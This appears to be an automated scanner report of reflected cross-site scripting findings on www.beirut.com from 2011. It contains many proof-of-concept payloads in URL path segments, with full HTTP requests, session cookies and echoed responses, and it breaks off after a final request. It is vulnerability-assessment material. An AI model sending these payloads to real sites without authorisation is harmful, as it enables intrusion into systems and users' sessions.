GET /Shopping/Consumer-Goodsc282e<script>alert(1)</script>e64e32c93a3/235690923/Roastary/78 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:25:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56415
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goodsc282e<script>alert(1)</script>e64e32c93a3 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da910'-alert(1)-'dee1ecb246d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goodsda910'-alert(1)-'dee1ecb246d/235690923/Roastary/78 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:24:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goodsda910'-alert(1)-'dee1ecb246d/235690923/Roastary/78'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e5d05'-alert(1)-'50f46949a4f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923e5d05'-alert(1)-'50f46949a4f/Roastary/78 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:31:02 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56197
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/235690923e5d05'-alert(1)-'50f46949a4f/Roastary/78'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6f41b'-alert(1)-'fbbd96b6bee was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Roastary6f41b'-alert(1)-'fbbd96b6bee/78 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:36:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56401
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923/Roastary6f41b'-alert(1)-'fbbd96b6bee/78'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload edc62'-alert(1)-'3a812d24093 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Roastary/78edc62'-alert(1)-'3a812d24093 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:39:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54863
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923/Roastary/78edc62'-alert(1)-'3a812d24093'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 747fd'-alert(1)-'b7fca72191e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping747fd'-alert(1)-'b7fca72191e/Consumer-Goods/235690923/Sporting-Goods-Attire/45 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:26:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60135
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping747fd'-alert(1)-'b7fca72191e/Consumer-Goods/235690923/Sporting-Goods-Attire/45'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 602bc"><a>2563faf5cdb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping602bc"><a>2563faf5cdb/Consumer-Goods/235690923/Sporting-Goods-Attire/45 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:21:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59647
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping602bc"><a>2563faf5cdb"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3cde2<script>alert(1)</script>50f08ad7cec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goods3cde2<script>alert(1)</script>50f08ad7cec/235690923/Sporting-Goods-Attire/45 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:30:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61070
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goods3cde2<script>alert(1)</script>50f08ad7cec <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ce9f'-alert(1)-'3f6bcc13f32 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods6ce9f'-alert(1)-'3f6bcc13f32/235690923/Sporting-Goods-Attire/45 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:30:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61082
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods6ce9f'-alert(1)-'3f6bcc13f32/235690923/Sporting-Goods-Attire/45'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0512'-alert(1)-'bbec3fe9042 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923a0512'-alert(1)-'bbec3fe9042/Sporting-Goods-Attire/45 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:34:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61017
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923a0512'-alert(1)-'bbec3fe9042/Sporting-Goods-Attire/45'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8bdc7'-alert(1)-'778dbb87267 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Sporting-Goods-Attire8bdc7'-alert(1)-'778dbb87267/45 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:41:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61054
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923/Sporting-Goods-Attire8bdc7'-alert(1)-'778dbb87267/45'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 19a4a'-alert(1)-'923d354c1e8 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Sporting-Goods-Attire/4519a4a'-alert(1)-'923d354c1e8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:43:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54858
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923/Sporting-Goods-Attire/4519a4a'-alert(1)-'923d354c1e8'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4b55"><a>662bc127f70 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppinge4b55"><a>662bc127f70/Consumer-Goods/235690923/Sweets-Chocolates/79 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:32:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59481
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppinge4b55"><a>662bc127f70"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 90075'-alert(1)-'1d113cd68f2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping90075'-alert(1)-'1d113cd68f2/Consumer-Goods/235690923/Sweets-Chocolates/79 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:40:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60136
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping90075'-alert(1)-'1d113cd68f2/Consumer-Goods/235690923/Sweets-Chocolates/79'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 607ad'-alert(1)-'58a213e0e14 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods607ad'-alert(1)-'58a213e0e14/235690923/Sweets-Chocolates/79 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
